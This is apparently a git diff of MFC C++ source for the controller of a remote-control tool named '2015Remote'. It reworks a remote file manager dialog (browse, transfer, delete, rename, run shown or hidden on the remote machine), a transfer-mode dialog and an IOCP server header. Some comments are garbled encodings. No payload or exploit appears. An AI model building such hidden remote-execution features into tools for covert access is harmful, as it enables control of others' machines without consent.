SHGetFileInfo - ( - szVolume, - dwFileAttributes, - &sfi, - sizeof(SHFILEINFO), - SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES - ); + ClientContext* m_pContext; + CIOCPServer* m_iocpServer; + CString m_IPAddress; - return sfi.iIcon; - } + CProgressCtrl* m_ProgressCtrl; + HCURSOR m_hCursor; + CString m_Local_Path; + bool FixedUploadDirectory(LPCTSTR lpPathName); + void FixedLocalDriveList(); + void FixedRemoteDriveList(); + void FixedLocalFileList(CString directory = ""); + void GetRemoteFileList(CString directory = ""); + void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen); - CString CFileManagerDlg::GetParentDirectory(CString strPath) - { - CString strCurrentPath = strPath; - int iIndex = strCurrentPath.ReverseFind('\\'); - if (iIndex == -1) - { - return strCurrentPath; - } - CString strCurrentSubPath = strCurrentPath.Left(iIndex); - iIndex = strCurrentSubPath.ReverseFind('\\'); - if (iIndex == -1) - { - strCurrentPath = ""; - return strCurrentPath; - } - strCurrentPath = strCurrentSubPath.Left(iIndex); + HICON m_hIcon; + CStatusBar m_wndStatusBar; + CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor - if(strCurrentPath.Right(1) != "\\") - strCurrentPath += "\\"; - return strCurrentPath; - } +// Dialog Data + //{{AFX_DATA(CFileManagerDlg) + enum { IDD = IDD_FILE }; + CComboBox m_Remote_Directory_ComboBox; + CComboBox m_Local_Directory_ComboBox; + CListCtrl m_list_remote; + CListCtrl m_list_local; + //}}AFX_DATA - void CFileManagerDlg::EnableControl(BOOL bEnable) - { - m_ControlList_Client.EnableWindow(bEnable); - m_ControlList_Server.EnableWindow(bEnable); - m_ComboBox_Server.EnableWindow(bEnable); - m_ComboBox_Client.EnableWindow(bEnable); - } - CTrueColorToolBar m_ToolBar_File_Server; // - // CTrueColorToolBar m_wndToolBar_Remote; +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CFileManagerDlg) + public: + virtual BOOL PreTranslateMessage(MSG* pMsg); + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + virtual void PostNcDestroy(); + //}}AFX_VIRTUAL - // Ի - enum { IDD = IDD_DIALOG_FILE_MANAGER }; +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CFileManagerDlg) + virtual BOOL OnInitDialog(); + afx_msg HCURSOR OnQueryDragIcon(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnMouseMove(UINT nFlags, CPoint point); + afx_msg void OnLButtonUp(UINT nFlags, CPoint point); + afx_msg void OnTimer(UINT nIDEvent); + afx_msg void OnClose(); + afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnLocalPrev(); + afx_msg void OnRemotePrev(); + afx_msg void OnLocalView(); + afx_msg void OnLocalList(); + afx_msg void OnLocalReport(); + afx_msg void OnLocalBigicon(); + afx_msg void OnLocalSmallicon(); + afx_msg void OnRemoteBigicon(); + afx_msg void OnRemoteList(); + afx_msg void OnRemoteReport(); + afx_msg void OnRemoteSmallicon(); + afx_msg void OnRemoteView(); + afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI); + afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI); + afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI); + afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI); + afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI); + afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI); + afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI); + afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI); + afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI); + afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI); + afx_msg void OnRemoteCopy(); + afx_msg void OnLocalCopy(); + afx_msg void OnLocalDelete(); + afx_msg void OnRemoteDelete(); + afx_msg void OnRemoteStop(); + afx_msg void OnLocalStop(); + afx_msg void OnLocalNewfolder(); + afx_msg void OnRemoteNewfolder(); + afx_msg void OnTransfer(); + afx_msg void OnRename(); + afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnDelete(); + afx_msg void OnNewfolder(); + afx_msg void OnRefresh(); + afx_msg void OnLocalOpen(); + afx_msg void OnRemoteOpenShow(); + afx_msg void OnRemoteOpenHide(); + afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM + CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON + BOOL m_bDragging; //T during a drag operation + int m_nDragIndex; //Index of selected item in the List we are dragging FROM + int m_nDropIndex; //Index at which to drop item in the List we are dropping ON + CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type) - DECLARE_MESSAGE_MAP() -public: - CListCtrl m_ControlList_Client; - CListCtrl m_ControlList_Server; - - CImageList* m_ImageList_Large; - CImageList* m_ImageList_Small; - afx_msg void OnClose(); - virtual BOOL OnInitDialog(); - afx_msg void OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult); - VOID CFileManagerDlg::FixedServerFileList(CString strDirectory=""); - VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength); - - CString m_Server_File_Path; - CString m_Client_File_Path; - CComboBox m_ComboBox_Server; - CComboBox m_ComboBox_Client; - virtual BOOL PreTranslateMessage(MSG* pMsg); - afx_msg void OnCbnSelchangeComboServer(); - afx_msg void OnCbnDblclkComboServer(); - CStatic m_FileServerBarPos; - CStatic m_FileClientBarPos; - - afx_msg void OnIdtServerPrev(); - afx_msg void OnIdtServerNewFolder(); - afx_msg void OnIdtServerDelete(); - afx_msg void OnIdtServerStop(); - BOOL m_bIsStop; - BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath); - BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) ; - afx_msg void OnViewBigIcon(); - afx_msg void OnViewSmallIcon(); - afx_msg void OnViewDetail(); - afx_msg void OnViewList(); - afx_msg void OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult); - VOID CFileManagerDlg::GetClientFileList(CString strDirectory=""); - VOID CFileManagerDlg::OnReceiveComplete(); - afx_msg void OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult); - afx_msg void OnMouseMove(UINT nFlags, CPoint point); - - BOOL m_bDragging; - afx_msg void OnLButtonUp(UINT nFlags, CPoint point); - VOID CFileManagerDlg::DropItemOnList(); - - CListCtrl* m_DragControlList; - CListCtrl* m_DropControlList; - - HCURSOR m_hCursor; - - ListTemplate m_Remote_Upload_Job; - VOID CFileManagerDlg::OnCopyServerToClient(); - BOOL CFileManagerDlg::SendToClientJob(); - - CString m_strSourFileFullPath; - CString m_strDestFileFullPath; - __int64 m_OperatingFileLength; // ǰļܴС - VOID CFileManagerDlg::SendFileData(); - __int64 m_ulCounter; - VOID CFileManagerDlg::EndCopyServerToClient(); - - BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) ; - - CStatusBar m_StatusBar; // ״̬ - CProgressCtrl* m_ProgressCtrl; - - void CFileManagerDlg::ShowProgress() - { - if ((int)m_ulCounter == -1) - { - m_ulCounter = m_OperatingFileLength; - } - - int iProgress = (float)(m_ulCounter * 100) / m_OperatingFileLength; - m_ProgressCtrl->SetPos(iProgress); - - - if (m_ulCounter == m_OperatingFileLength) - { - m_ulCounter = m_OperatingFileLength = 0; - } - } - - VOID CFileManagerDlg::SendTransferMode(); - - ULONG m_ulTransferMode; - - afx_msg void OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult); - afx_msg void OnOperationServerRun(); - afx_msg void OnOperationRename(); - afx_msg void OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult); - afx_msg void OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult); - afx_msg void OnOperationClientShowRun(); - afx_msg void OnOperationClientHideRun(); - afx_msg void OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult); - afx_msg void OnOperationCompress(); - - VOID CFileManagerDlg::ServerCompress(ULONG ulType); - BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType); + void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList); +private: + bool m_bIsUpload; // ǷǰѱԶϣ־λ + bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); + void SendTransferMode(); + void SendFileData(); + void EndLocalUploadFile(); + bool DeleteDirectory(LPCTSTR lpszDirectory); + void EnableControl(BOOL bEnable = TRUE); }; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_) diff --git a/server/2015Remote/FileTransferModeDlg.cpp b/server/2015Remote/FileTransferModeDlg.cpp index a2edad2..0dc4a9a 100644 --- a/server/2015Remote/FileTransferModeDlg.cpp +++ b/server/2015Remote/FileTransferModeDlg.cpp @@ -1,60 +1,69 @@ -// FileTransferModeDlg.cpp : ʵļ +// FileTransferModeDlg.cpp : implementation file // #include "stdafx.h" #include "2015Remote.h" #include "FileTransferModeDlg.h" -#include "afxdialogex.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CFileTransferModeDlg dialog -// CFileTransferModeDlg Ի - -IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog) - -CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent) +CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/) : CDialog(CFileTransferModeDlg::IDD, pParent) { - + //{{AFX_DATA_INIT(CFileTransferModeDlg) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT } -CFileTransferModeDlg::~CFileTransferModeDlg() -{ -} void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CFileTransferModeDlg) + // NOTE: the ClassWizard will add DDX and DDV calls here + //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog) - ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_JUMP_ALL, OnEndDialog) + //{{AFX_MSG_MAP(CFileTransferModeDlg) + ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog) + //}}AFX_MSG_MAP END_MESSAGE_MAP() - -// CFileTransferModeDlg Ϣ +///////////////////////////////////////////////////////////////////////////// +// CFileTransferModeDlg message handlers -VOID CFileTransferModeDlg::OnEndDialog(UINT id) +void CFileTransferModeDlg::OnEndDialog(UINT id) { // TODO: Add your control notification handler code here EndDialog(id); } -BOOL CFileTransferModeDlg::OnInitDialog() +BOOL CFileTransferModeDlg::OnInitDialog() { CDialog::OnInitDialog(); + + // TODO: Add extra initialization here + CString str; + str.Format("ļѰһΪ%sļ", m_strFileName); - CString strTips; - strTips.Format("˥ զ.... \" %s \" ", m_strFileName); - - for (int i = 0; i < strTips.GetLength(); i += 120) + for (int i = 0; i < str.GetLength(); i += 120) { - strTips.Insert(i, "\n"); + str.Insert(i, "\n"); i += 1; } - SetDlgItemText(IDC_TIP, strTips); + SetDlgItemText(IDC_TIPS, str); return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE + // EXCEPTION: OCX Property Pages should return FALSE } diff --git a/server/2015Remote/FileTransferModeDlg.h b/server/2015Remote/FileTransferModeDlg.h index 3f77524..1ce8e86 100644 --- a/server/2015Remote/FileTransferModeDlg.h +++ b/server/2015Remote/FileTransferModeDlg.h @@ -1,25 +1,48 @@ +#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) +#define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_ + +#if _MSC_VER > 1000 #pragma once +#endif // _MSC_VER > 1000 +// FileTransferModeDlg.h : header file +// - -// CFileTransferModeDlg Ի +///////////////////////////////////////////////////////////////////////////// +// CFileTransferModeDlg dialog class CFileTransferModeDlg : public CDialog { - DECLARE_DYNAMIC(CFileTransferModeDlg) - +// Construction public: - CFileTransferModeDlg(CWnd* pParent = NULL); // ׼캯 - virtual ~CFileTransferModeDlg(); - CString m_strFileName; + CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor - // Ի - enum { IDD = IDD_DIALOG_TRANSMODE }; +// Dialog Data + //{{AFX_DATA(CFileTransferModeDlg) + enum { IDD = IDD_TRANSFERMODE_DLG }; + // NOTE: the ClassWizard will add data members here + //}}AFX_DATA + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CFileTransferModeDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + // Generated message map functions + //{{AFX_MSG(CFileTransferModeDlg) afx_msg void OnEndDialog(UINT id); - DECLARE_MESSAGE_MAP() -public: virtual BOOL OnInitDialog(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() }; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 125242c..08cac92 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -77,29 +77,29 @@ public: BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); static DWORD WINAPI ListenThreadProc(LPVOID lParam); - BOOL IOCPServer::InitializeIOCP(VOID); + BOOL InitializeIOCP(VOID); static DWORD WINAPI WorkThreadProc(LPVOID lParam); ULONG m_ulWorkThreadCount; - VOID IOCPServer::OnAccept(); + VOID OnAccept(); static CRITICAL_SECTION m_cs; /************************************************************************/ //±Ķ ContextObjectList m_ContextConnectionList; ContextObjectList m_ContextFreePoolList; - PCONTEXT_OBJECT IOCPServer::AllocateContext(); + PCONTEXT_OBJECT AllocateContext(); VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject); - VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); + VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); - VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject); + VOID PostRecv(CONTEXT_OBJECT* ContextObject); /************************************************************************/ //õ - BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans); - BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); - BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); - VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength); - BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength); + BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans); + VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , ULONG ulOriginalLength); + BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength); IOCPServer(void); ~IOCPServer(void); diff --git a/server/2015Remote/InputDlg.cpp b/server/2015Remote/InputDlg.cpp new file mode 100644 index 0000000..0d5598a --- /dev/null +++ b/server/2015Remote/InputDlg.cpp @@ -0,0 +1,227 @@ +//////////////////////////////////////////////////////////////// +// MSDN Magazine -- June 2005 +// If this code works, it was written by Paul DiLascia. +// If not, I don't know who wrote it. +// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3. +// +#include "stdafx.h" +#include "InputDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +////////////////// +// Note: Make sure nBufLen is big enough to hold your entire dialog template! +// +CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen) +{ + m_pBuffer = new WORD[nBufLen]; + m_pNext = m_pBuffer; + m_pEndBuf = m_pNext + nBufLen; +} + +CDlgTemplateBuilder::~CDlgTemplateBuilder() +{ + delete [] m_pBuffer; +} + +////////////////// +// Create template (DLGTEMPLATE) +// +DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc, + LPCTSTR text, DWORD dwStyleEx) +{ + ASSERT(m_pBuffer==m_pNext); // call Begin first and only once! + + DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer; + hdr->style = dwStyle; // copy style.. + hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too + hdr->cdit = 0; // number of items: zero + + // Set dialog rectangle. + CRect rcDlg = rc; + hdr->x = (short)rcDlg.left; + hdr->y = (short)rcDlg.top; + hdr->cx = (short)rcDlg.Width(); + hdr->cy = (short)rcDlg.Height(); + + // Append trailing items: menu, class, caption. I only use caption. + m_pNext = (WORD*)(hdr+1); + *m_pNext++ = 0; // menu (none) + *m_pNext++ = 0; // dialog class (use standard) + m_pNext = AddText(m_pNext, text); // append dialog caption + + ASSERT(m_pNext < m_pEndBuf); + return hdr; +} + +////////////////// +// Add dialog item (control). +// +void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle, + const CRect& rc, WORD nID, DWORD dwStyleEx) +{ + ASSERT(m_pNext < m_pEndBuf); + + // initialize DLGITEMTEMPLATE + DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext)); + it.style = dwStyle; + it.dwExtendedStyle = dwStyleEx; + + CRect rcDlg = rc; + it.x = (short)rcDlg.left; + it.y = (short)rcDlg.top; + it.cx = (short)rcDlg.Width(); + it.cy = (short)rcDlg.Height(); + it.id = nID; + + // add class (none) + m_pNext = (WORD*)(&it+1); + *m_pNext++ = 0xFFFF; // next WORD is atom + *m_pNext++ = wType; // ..atom identifier + ASSERT(m_pNext < m_pEndBuf); // check not out of range + + // increment control/item count + DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer; + hdr->cdit++; +} + +////////////////// +// Add dialog item (control). +// +void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle, + const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx) +{ + AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx); + m_pNext = AddText(m_pNext, text); // append title + *m_pNext++ = 0; // no creation data + ASSERT(m_pNext < m_pEndBuf); +} + +////////////////// +// Add dialog item (control). +// +void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle, + const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx) +{ + AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx); + *m_pNext++ = 0xFFFF; // next is resource id + *m_pNext++ = wResID; // ..here it is + *m_pNext++ = 0; // no extra stuff + ASSERT(m_pNext < m_pEndBuf); +} + +////////////////// +// Append text to buffer. Convert to Unicode if necessary. +// Return pointer to next character after terminating NULL. +// +WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text) +{ + if (text) { + USES_CONVERSION; + wcscpy((WCHAR*)buf, T2W((LPTSTR)text)); + buf += wcslen((WCHAR*)buf)+1; + } else { + *buf++ = 0; + } + return buf; +} + +////////////////// +// Create string dialog. If no icon specified, use IDI_QUESTION. Note that +// the order in which the controls are added is the TAB order. +// +BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon) +{ + const int CXDIALOG = 200; // dialog width + const int DLGMARGIN = 7; // margins all around + const int CYSTATIC = 8; // height of static text + const int CYEDIT = 12; // height of edit control + const int CYSPACE = 5; // vertical space between controls + const int CXBUTTON = 40; // button width... + const int CYBUTTON = 15; // ..and height + + CDlgTemplateBuilder& dtb = m_dtb; + CRect rc( + CPoint(0,0), + CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE)); + + // create dialog header + DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption); + + // shrink main rect by margins + rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN)); + + // create icon if needed + if (nIDIcon) { + if (nIDIcon >= (WORD)IDI_APPLICATION) { + // if using a system icon, I load it here and set it in OnInitDialog + // because can't specify system icon in template, only icons from + // application resource file. + m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon)); + nIDIcon = 0; + } else { + m_hIcon = NULL; + } + + // The size is calculated in pixels, but it seems to work OK--??? + CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON)); + CRect rcIcon(rc.TopLeft(), sz); + dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon + WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON); + rc.left += sz.cx; // shrink main rect by width of icon + } + + // add prompt + rc.bottom = rc.top + CYSTATIC; // height = height of static + dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it + WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt); + + // add edit control + rc += CPoint(0, rc.Height() + CYSPACE); // move below static + rc.bottom = rc.top + CYEDIT; // height = height of edit control + dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add + WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT); + + // add OK button + rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control + rc.bottom = rc.top + CYBUTTON; // height = button height + rc.left = rc.right - CXBUTTON; // width = button width + rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width + dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it + WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK); + + // add Cancel button + rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again + dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button + WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL); + + return InitModalIndirect(pTempl, pParent); +} + +////////////////// +// Initialize dialog: if I loaded a system icon, set it in static control. +// +BOOL CInputDialog::OnInitDialog() +{ + if (m_hIcon) { + CStatic* pStatic = (CStatic*)GetDlgItem(IDICON); + ASSERT(pStatic); + pStatic->SetIcon(m_hIcon); + } + return CDialog::OnInitDialog(); +} + +///////////////// +// User pressed OK: check for empty string if required flag is set. +// +void CInputDialog::OnOK() +{ + UpdateData(TRUE); + if (m_bRequired && m_str.IsEmpty()) { + MessageBeep(0); + return; // don't quit dialog! + } + CDialog::OnOK(); +} diff --git a/server/2015Remote/InputDlg.h b/server/2015Remote/InputDlg.h new file mode 100644 index 0000000..dede969 --- /dev/null +++ b/server/2015Remote/InputDlg.h @@ -0,0 +1,83 @@ +//////////////////////////////////////////////////////////////// +// PixieLib(TM) Copyright 1997-2005 Paul DiLascia +// If this code works, it was written by Paul DiLascia. +// If not, I don't know who wrote it. +// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3. +// + +////////////////// +// Helper class to build a dialog template in memory. Only supports what's +// needed for CStringDialog. +// +class CDlgTemplateBuilder { +protected: + WORD* m_pBuffer; // internal buffer holds dialog template + WORD* m_pNext; // next WORD to copy stuff + WORD* m_pEndBuf; // end of buffer + + // align ptr to nearest DWORD + WORD* AlignDWORD(WORD* ptr) { + ptr++; // round up to nearest DWORD + LPARAM lp = (LPARAM)ptr; // convert to long + lp &= 0xFFFFFFFC; // make sure on DWORD boundary + return (WORD*)lp; + } + + void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc, + WORD nID, DWORD dwStyleEx); + +public: + // Windows predefined atom names + enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX }; + + CDlgTemplateBuilder(UINT nBufLen=1024); + ~CDlgTemplateBuilder(); + + DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; } + + // functions to build the template + DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0); + WORD* AddText(WORD* buf, LPCTSTR text); + void AddItem(WORD wType, DWORD dwStyle, const CRect& rc, + LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0); + void AddItem(WORD wType, DWORD dwStyle, const CRect& rc, + WORD nResID, WORD nID=-1, DWORD dwStyleEx=0); +}; + +////////////////// +// Class to implement a simple string input dialog. Kind of like MessageBox +// but it accepts a single string input from user. You provide the prompt. To +// use: +// +// CStringDialog dlg; // string dialog +// dlg.m_bRequired = m_bRequired; // if string is required +// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION); +// dlg.DoModal(); // run dialog +// CString result = dlg.m_str; // whatever the user typed +// +class CInputDialog : public CDialog { +public: + CString m_str; // the string returned [in,out] + BOOL m_bRequired; // string required? + HICON m_hIcon; // icon if not supplied + + CInputDialog() { } + ~CInputDialog() { } + + // Call this to create the template with given caption and prompt. + BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL, + WORD nIDIcon=(WORD)IDI_QUESTION); + +protected: + CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template + enum { IDICON=1, IDEDIT }; // control IDs + + // MFC virtual overrides + virtual BOOL OnInitDialog(); + virtual void OnOK(); + virtual void DoDataExchange(CDataExchange* pDX) + { + DDX_Text(pDX, IDEDIT, m_str); + } +}; + diff --git a/server/2015Remote/TrueColorToolBar.cpp b/server/2015Remote/TrueColorToolBar.cpp index 6f90fea..8a8df14 100644 --- a/server/2015Remote/TrueColorToolBar.cpp +++ b/server/2015Remote/TrueColorToolBar.cpp @@ -21,8 +21,8 @@ #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE -static char THIS_FILE[] = __FILE__; -#endif +static char THIS_FILE[] = __FILE__; +#endif ///////////////////////////////////////////////////////////////////////////// // CTrueColorToolBar @@ -38,7 +38,9 @@ CTrueColorToolBar::~CTrueColorToolBar() BEGIN_MESSAGE_MAP(CTrueColorToolBar, CToolBar) + //{{AFX_MSG_MAP(CTrueColorToolBar) ON_NOTIFY_REFLECT(TBN_DROPDOWN, OnToolbarDropDown) + //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// @@ -50,7 +52,7 @@ BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth, { if (!SetTrueColorToolBar(TB_SETIMAGELIST, uToolBar, nBtnWidth)) return FALSE; - + if (uToolBarHot) { if (!SetTrueColorToolBar(TB_SETHOTIMAGELIST, uToolBarHot, nBtnWidth)) return FALSE; @@ -66,34 +68,34 @@ BOOL CTrueColorToolBar::LoadTrueColorToolBar(int nBtnWidth, BOOL CTrueColorToolBar::SetTrueColorToolBar(UINT uToolBarType, - UINT uToolBar, - int nBtnWidth) + UINT uToolBar, + int nBtnWidth) { CImageList cImageList; CBitmap cBitmap; BITMAP bmBitmap; - + if (!cBitmap.Attach(LoadImage(AfxGetResourceHandle(), MAKEINTRESOURCE(uToolBar), - IMAGE_BITMAP, 0, 0, - LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) || - !cBitmap.GetBitmap(&bmBitmap)) + IMAGE_BITMAP, 0, 0, + LR_DEFAULTSIZE|LR_CREATEDIBSECTION)) || + !cBitmap.GetBitmap(&bmBitmap)) return FALSE; CSize cSize(bmBitmap.bmWidth, bmBitmap.bmHeight); int nNbBtn = cSize.cx/nBtnWidth; RGBTRIPLE* rgb = (RGBTRIPLE*)(bmBitmap.bmBits); COLORREF rgbMask = RGB(rgb[0].rgbtRed, rgb[0].rgbtGreen, rgb[0].rgbtBlue); - + if (!cImageList.Create(nBtnWidth, cSize.cy, ILC_COLOR24|ILC_MASK, nNbBtn, 0)) return FALSE; - + if (cImageList.Add(&cBitmap, rgbMask) == -1) return FALSE; SendMessage(uToolBarType, 0, (LPARAM)cImageList.m_hImageList); cImageList.Detach(); cBitmap.Detach(); - + return TRUE; } @@ -113,26 +115,26 @@ void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uM m_lstDropDownButton.Add(DropDownInfo); } -void CTrueColorToolBar::OnToolbarDropDown(NMHDR * pnmtb, 